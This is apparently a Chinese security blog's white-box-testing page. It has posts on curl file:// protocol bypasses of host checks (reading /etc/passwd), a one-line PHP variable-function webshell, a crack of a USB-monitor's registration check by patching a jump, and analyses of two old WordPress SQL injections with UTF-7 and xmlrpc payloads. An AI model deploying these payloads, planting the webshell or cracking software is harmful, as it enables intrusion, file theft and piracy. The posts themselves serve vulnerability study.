分类 白盒测试 下的文章

Curl类库解析url安全简读

简介

什么是CURL

curl是利用URL语法在命令行方式下工作的开源文件传输工具。它被广泛应用在Unix、多种Linux发行版中,并且有DOS和Win32、Win64下的移植版本。

正文

CURL是十分强大的开源命令行工具,支持以下这些协议

DICT, FILE, FTP, FTPS, Gopher, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMTP, SMTPS, Telnet and TFTP.

wooyun案例:
人人网的分享网页功能存在诸多安全漏洞
微博--微收藏多处任意文件读取漏洞

许多程序猿使用CURL类库的时候是不对传入的URL进行协议鉴别的.

举个例子在最新版的骑士CMS中(20160604)有一个调用curl类库的函数

function https_request($url,$data = null){
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
    if (!empty($data)){
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    }
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($curl);
    curl_close($curl);
    return $output;
}

把这段代码单独扒拉下来稍作修改,然后调用一下可以很明显的看到,直接使用curl调用了file://协议对文件进行了读取

我建立了一个测试文件路径为/etc/test

ED4CB388-15DA-40D8-B525-FB49B6442F85.png

测试文件里面将CURLOPT_URL设置为file:///etc/test

再访问测试文件http://test/test.php

3EE11F19-37AE-492F-B572-9630A6D9DDFF.png

可以看到原本打算进行http请求的函数转变成了文件读取.

但是上面仅仅是最一般的情况,更多的情况是url是经过拼接之后再传入CURLOPT_URL这个选项的.

for example:

有一个api接口
http://someapi.com/api.php?token={user_api_token}&other_string
通过拼接用户的api_token来传入curl类库进行http请求等操作.

想要将使用http协议变成file协议来读取文件
,我们最好能够能覆盖前面一部分,并且摒弃后面一部分.

那么想要做到上面的部分就要了解curl_setopt()这个函数的源代码了.

PHP_FUNCTION(curl_setopt)
{
    zval       *zid, **zvalue;
    long        options;
    php_curl   *ch;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlZ", &zid, &options, &zvalue) == FAILURE) {
        return;
    }

    ZEND_FETCH_RESOURCE(ch, php_curl *, &zid, -1, le_curl_name, le_curl);

    if (options <= 0 && options != CURLOPT_SAFE_UPLOAD) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid curl configuration option");
        RETURN_FALSE;
    }

    if (_php_curl_setopt(ch, options, zvalue TSRMLS_CC) == SUCCESS) {
        RETURN_TRUE;
    } else {
        RETURN_FALSE;
    }
}

(看懂PHP的函数源码需要一点PHP扩展方面的知识,推荐看看鸟哥laruence的博客和百度)

里面调用了_php_curl_setopt()这个函数,其中进入的是这个case

case CURLOPT_URL:
convert_to_string_ex(zvalue);
return php_curl_option_url(ch, Z_STRVAL_PP(zvalue), Z_STRLEN_PP(zvalue) TSRMLS_CC);

这个函数中唯一一个调用的函数原型贴在下面了
ext/curl/interface.c:206行

static int php_curl_option_url(php_curl *ch, const char *url, const int len TSRMLS_DC) /* {{{ */
{
    /* Disable file:// if open_basedir are used */
    if (PG(open_basedir) && *PG(open_basedir)) {
#if LIBCURL_VERSION_NUM >= 0x071304
        curl_easy_setopt(ch->cp, CURLOPT_PROTOCOLS, CURLPROTO_ALL & ~CURLPROTO_FILE);
#else
        php_url *uri;

        if (!(uri = php_url_parse_ex(url, len))) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid URL '%s'", url);
            return FAILURE;
        }

        if (uri->scheme && !strncasecmp("file", uri->scheme, sizeof("file"))) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "Protocol 'file' disabled in cURL");
            php_url_free(uri);
            return FAILURE;
        }
        php_url_free(uri);
#endif
    }

    return php_curl_option_str(ch, CURLOPT_URL, url, len, 0 TSRMLS_CC);
}

可以看到程序首先就判断了是否设置了
open_basedir,如果设置了将直接防止使用file:协议进行文件的读取,所以可以考虑作为一个防御方案:)

在进入第一个if判断语句,首先php里面的curl类库调用了php源码里php_url_parse_ex这个函数来解析url,php的函数parse_url()函数也是调用的php_url_parse_ex这个函数来解析url.

但是主要php_url_parse_ex这个函数在这里的作用就是解析这个url使用了什么协议,再根据解析出来的协议使用值uri->scheme对比是否是file协议,相当于在上层做了一个判断,并不是解析好了之后将处理过后的值放入curl类库里的函数再解析一遍url.

经过追踪函数定位到lib/url.c:parseurlandfillconn()为curl类库里面进行url解析的函数

首先

  if((2 == sscanf(data->change.url, "%15[^:]:%[^\n]",
                  protobuf, path)) &&
     Curl_raw_equal(protobuf, "file")) {
    if(path[0] == '/' && path[1] == '/') {
      /* Allow omitted hostname (e.g. file:/<path>).  This is not strictly
       * speaking a valid file: URL by RFC 1738, but treating file:/<path> as
       * file://localhost/<path> is similar to how other schemes treat missing
       * hostnames.  See RFC 1808. */

      /* This cannot be done with strcpy() in a portable manner, since the
         memory areas overlap! */
      memmove(path, path + 2, strlen(path + 2)+1);
    }

首先可以看curl先取了:符号之前的字符转换成大写之后再和file进行对比.程序猿还在注释里面写了这么一段话.

`      /* Allow omitted hostname (e.g. file:/<path>).  This is not strictly
       * speaking a valid file: URL by RFC 1738, but treating file:/<path> as
       * file://localhost/<path> is similar to how other schemes treat missing
       * hostnames.  See RFC 1808. */

程序猿是想兼容RFC1808协议,RFC1808协议里对file协议的规定

   The file URL scheme is used to designate files accessible on a
   particular host computer. This scheme, unlike most other URL schemes,
   does not designate a resource that is universally accessible over the
   Internet.

   A file URL takes the form:

       file://<host>/<path>

   where <host> is the fully qualified domain name of the system on
   which the <path> is accessible, and <path> is a hierarchical
   directory path of the form <directory>/<directory>/.../<name>.

   For example, a VMS file

     DISK$USER:[MY.NOTES]NOTE123456.TXT

   might become

     <URL:file://vms.host.edu/disk$user/my/notes/note12345.txt>

   As a special case, <host> can be the string "localhost" or the empty
   string; this is interpreted as `the machine from which the URL is
   being interpreted'.

   The file URL scheme is unusual in that it does not specify an
   Internet protocol or access method for such files; as such, its
   utility in network protocols between hosts is limited.

我把程序前一部分的逻辑画了张图

0BE7BB73-540C-4AC1-9F70-6F10BD2494F7.png

会发现这个函数把file://{somedomain.com}/etc/passwd
上面{}中的所有给忽略掉,而只使用path,即使是别的域名也会最终读取到本地的对应文件中.

所以假设一个情况:

var_dump(parse_url('file://qq.com/etc/passwd'));

EE517382-32FD-49CE-81C5-33DD29C29982.png

给curl类库执行的话,依旧读取的是本地的/etc/passwd文件

4E3A034C-90EF-4357-BEE3-8D36DE2D50BB.png

3B2DB8AC-DB96-41F2-9FC6-339420C50079.png

所以可以想象一下一个场景

<?php

$url = $_GET['url'];

function curl($url)
{
    $info = parse_url($url);
    $host = $info['host'];

    if ($host !== $_SERVER['HTTP_HOST']){
        echo "It's not baidu.com!Illegal Host!";
        exit;
    }

    if (function_exists('curl_init') && function_exists('curl_exec')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        $data = curl_exec($ch);
        curl_close($ch);
        echo $data;
    }
}

curl($url);

如果程序猿对curl访问的host做了限制,其实可以绕过host的限制,继续进行文件读取:sunglasses:

BCE27DB3-90B1-424C-BC1A-0BC3FC14A937.png

而回到最一开始的那个问题,如果程序猿单单对url后半部分进行了拼接,没有进行:符号前面的协议判断,是可以通过?号,file://qq.com/etc/passwd?+{user+token}来继续执行文件协议读取.

例子:
6ED8C152-EF4C-4E84-9CE1-473309950DE1.png

如果绕过了host,但是后面有拼接

A2C1B3F6-89E6-4F1C-B161-3856C3BFAF81.png

这时候后面加一个?就能把后面的token变为查询参数,不影响文件读取

BF8EF7FC-B060-43A0-9B4B-88731333F06F.png

如果拼接了前半部分目前来说,又想使用file协议是无计可施的.

但是你想要用其它协议,没问题.curl如果没有读取到传入curl使用的协议,或者遇到不规范的url.会自行对以下协议进行重组.

D2582EA5-08C9-4D82-8145-B32003AFABD9.png

就是说假如你想使用一个ftp协议来下载东西,但是ftp协议被禁用了.你根据它的判断规则传入一个url.

当在内网的ftp服务器域名前缀是ftp.的情况下libcurl还是会根据你传入的url发起一个ftp请求的.

感觉这题可以出一道题,有一股浓浓的ctf味道.假如说能重组file协议的话,会是一个不得了的大洞呢,可惜了.

php变量函数一句话

变量函数一句话

<?php
echo $_GET['a']($_GET['b']);

用法:
/test.php?a=system&b=ls

超级easy的U盘监控器破解

今天是美好的星期一啊,把<<Windows PE权威指南>>看掉一半就去看权利的游戏去:neckbeard:

龙妈称霸世界:sunglasses:

这个破解是<<Windows PE权威指南>>里的一个小例子,首先打开这个软件.

1E8C3E59-31C1-48C1-8F69-9870318D7DE5.png

这个界面做的真是难看....还加了弹窗广告,我呸...

随便输入123

099FA62A-B2A4-4486-BB39-4F8DF6F43093.png

注册失败了

83461D70-D029-4B9E-8EFE-B6441C7FFF04.png

可以看见失败的弹框里面有注册失败几个字.

把程序丢进OD里面
B66FD8CB-023D-4B01-825A-BB5B1F23B4A8.png

OD已经定到入口点了,再用WinHex把程序打开来看字节码

994AC89F-FE85-46D6-A4B5-66BDA7E0AED4.png

98997F5E-7B59-49CE-BAD1-2E6C52DC8B87.png

WTF!激活码直接就出来了!233333

不过用改程序流程的方法会好玩一点

可以看到注册失败这个字符串offset是81A79

VA = ImageBase + RVA

VA = 400000 + 81A79

程序在装载入程序后这段字符串的虚拟地址是0x481A79

35867F9A-B024-4E22-82EC-777A1770B358.png

查看谁用到了0x481A79这个地址,在OD的指令及指令解释区搜索常量0x481A79,可以看到0x405D2D这个地方push了0x481A79

FB9A73AA-63B1-4F94-87CE-1DF214246CD3.png

往上拉一拉在0x405D11的地方是由0F8F的地方跳转过来的,用的是jg指令,只要把jg指令改成jl指令,再用nop填充就随便输入什么字符串都能注册成功了:)

2B1A9901-39D7-4D7B-85FE-B239DA78D748.png

66848E75-CFC7-4FC7-A8D3-F6C340E4B167.png

Wordpress 2.0.5 - Trackback UTF-7 SQL injection分析

Wordpress 2.0.5 - Trackback UTF-7 SQL injection

  • 影响条件:

  • 程序:WordPress

  • 版本: ?->2.0.5

  • 严重程度:高危

正文

由于这些漏洞都是在exploit-db上面扒下来的exp,再通过exp的作用来分析程序漏洞.所以有时候exp写的比较让人难以理解,可以通过wireshark抓包来进行分析.

这个漏洞expolit-db里的exp名称是
WordPress 2.0.5 - Trackback UTF-7 - Remote SQL Injection Exploit

由于这个漏洞是注入,可以选择在wp-includes/wp-db.phpprint_error()函数里面下一个断点,OS X里可以使用macGDBp配合MAMP搭建测试环境,很方便.

我在print_error()里下了一个断点

    function print_error($str = '') {
        xdebug_break();  //断点在这里
        global $EZSQL_ERROR;
        if (!$str) $str = mysql_error();
        $EZSQL_ERROR[] = 
        array ('query' => $this->last_query, 'error_str' => $str);

        // Is error output turned on or not..
        if ( $this->show_errors ) {
            // If there is an error then take note of it
            print "<div id='error'>
            <p class='wpdberror'><strong>WordPress database error:</strong> [$str]<br />
            <code>$this->last_query</code></p>
            </div>";
        } else {
            return false;    
        }
    }

运行一遍exp
03F08447-8CE2-4ED0-8039-BB9CA8797868.png

可以看到wireshark监听loopback已经抓到了以下的几个http数据包

FA9877B1-45D0-4BF7-949E-B943F7AC4675.png

在No.82 http数据包中看到了明显的payload
08E21E8D-45BC-412D-9801-58AC445496C0.png

将这个数据包放在burp里面重放,回到macGDBp里面查看截断的情况.

B447920E-8011-4A13-83A1-4AB74604614D.png

$blog_name是可以传入注入语句的参数.

可以看到 $blog_name先是被赋值给了$comment_author之后再被打包传入了wp_new_comment()处理
382A7665-8238-441F-818B-703083DEEA9B.png

再wp_new_comment()函数中调用了一个函数来检测相对应的帖子之前是否有使用过trackback功能评论过,所以进行了数据库查询

    if ( $wpdb->get_var($dupe) )
        die( __('Duplicate comment detected; it looks as though you\'ve already said that!') );

其中$dupe的语句就是

    $dupe = "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = '$comment_post_ID' AND ( comment_author = '$comment_author' ";
    if ( $comment_author_email )
        $dupe .= "OR comment_author_email = '$comment_author_email' ";
    $dupe .= ") AND comment_content = '$comment_content' LIMIT 1";

我们可以看到没有经过任何处理的$comment_author就这样进入了sql语句中,进行了数据库的查询.

为什么用utf-7就可以注入呢?因为'号使用了utf-7编码的话,就绕过了编码函数,如果用utf-8编码的'号,会被防注入加上\

7C623354-4EF8-46C3-A6CC-5A1422E24B62.png

所以我们的payload只要用utf-7编码'符号为+ACc-,让mb_convert_encoding()函数再解码为'号就可以闭合前面的'号进行注入了.

所以构造的payload是

+ACc- AND 1=0) UNION SELECT 1 FROM wp_users WHERE ID=+ACc--1+ACc- /*

看了一看这个文件的其它最后进入数据库的参数,我发现了url这个参数也是可以注入的,最后进入的数据库查询的语句是这个
wp-trackback.php:87行

$dupe = $wpdb->get_results("SELECT * FROM $wpdb->comments WHERE comment_post_ID = '$comment_post_ID' AND comment_author_url = '$comment_author_url'");

WordPress <= 1.5.1.2 - xmlrpc Interface SQL Injection分析

WordPress <= 1.5.1.2 - xmlrpc Interface SQL Injection分析

  • 影响条件:

  • 程序:WordPress

  • 版本:<= 1.5.1.2

  • 严重程度:高危

基础知识

想要分析这个漏洞首先要了解xmlrpc的相关知识.

什么是xmlrpc?

xml rpc是使用http协议做为传输协议的rpc机制,使用xml文本的方式传输命令和数据调用远程的方法。

用wordpress xmlrpc.php的sayHello函数来演示一个例子

发送以下的xmlrpc数据包到wordpress的xmlrpc.php路径上,wordpress就会返回返回一个xmlrpc Response

POST /xmlrpc.php HTTP/1.1
Host: example.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Content-Length: 114

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>demo.sayHello</methodName>
</methodCall>

这是上面一个请求返回的数据包

E31985B9-FD8A-4813-B32E-5A80ABDA8DB9.png

我们可以看见在<string></string>标签中返回了一个Hello!

所以想要调用它的过程,只要遵循xmlrpc协议格式,例如以下

<?xml version="1.0"?>
<methodCall>
  <methodName></methodName>
  <params>
    <param>
        <value></value>
    </param>
  </params>
</methodCall>

漏洞分析正文

首先根据exp来定位漏洞点

<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>1'</string></value></param>
<param><value><string>http://wordpress1.5.1/?p=1#1</string></value></param>
<param><value><string>admin</string></value></param>
</params>
</methodCall>

上面这个xml文件是这个exp最核心的地方,我把原exp中填充payload的地方换成了1'

返回了如下数据,在这里可以看到返回数据库的错误提示信息

6A97CEB7-6745-48B9-BD52-E90070EC2449.png

来看一下整个执行流程

8D317E7F-120B-4BC2-94C7-98C5958030AD.png

#8中实例化了wp_xmlrpc_server()类,wp_xmlrpc_server()类是wordpress对IXR库的扩展,里面定义了wordpress xmlprc的API.

#3开始,流程就进入了wordpress所添加的api ->pingback_ping()中.

参数赋值语句

$pagelinkedfrom = $args[0];

args[0]哪来的?args是class IXR_Message中parse()函数处理之后返回的.

$data = $HTTP_RAW_POST_DATA;

$this->message = new IXR_Message($data);
        if (!$this->message->parse()) {
            $this->error(-32700, 'parse error. not well formed');
        }

我把上面的代码段给摘录出来,parse()解析了标签里面的内容.

解析出来的内容也就是args[0]直接赋值给了pagelinkedfrom没有经过任何处理直接拼接进了sql语句中.

        $result = $wpdb->get_results("SELECT * FROM $wpdb->comments WHERE comment_post_ID = '$post_ID' AND comment_author_url = '$pagelinkedfrom'");

导致的注入.

如果是导致数据库出错的sql语句可以看见它的内容不在xmlrpc response的标签里面

A89E1453-DE26-4594-91A5-843C2AA7BF30.png

因为调用到this->query()的函数中调用到了一个$this->print_error();函数.

这个函数是当发生数据库错误的时候显示上一条查询的sql语句

    function print_error($str = '') {
        global $EZSQL_ERROR;
        if (!$str) $str = mysql_error();
        $EZSQL_ERROR[] = 
        array ('query' => $this->last_query, 'error_str' => $str);

        // Is error output turned on or not..
        if ( $this->show_errors ) {
            // If there is an error then take note of it
            print "<div id='error'>
            <p class='wpdberror'><strong>WordPress database error:</strong> [$str]<br />
            <code>$this->last_query</code></p>
            </div>";
        } else {
            return false;    
        }
    }

所以说就是报错语句没有在xml里面的原因了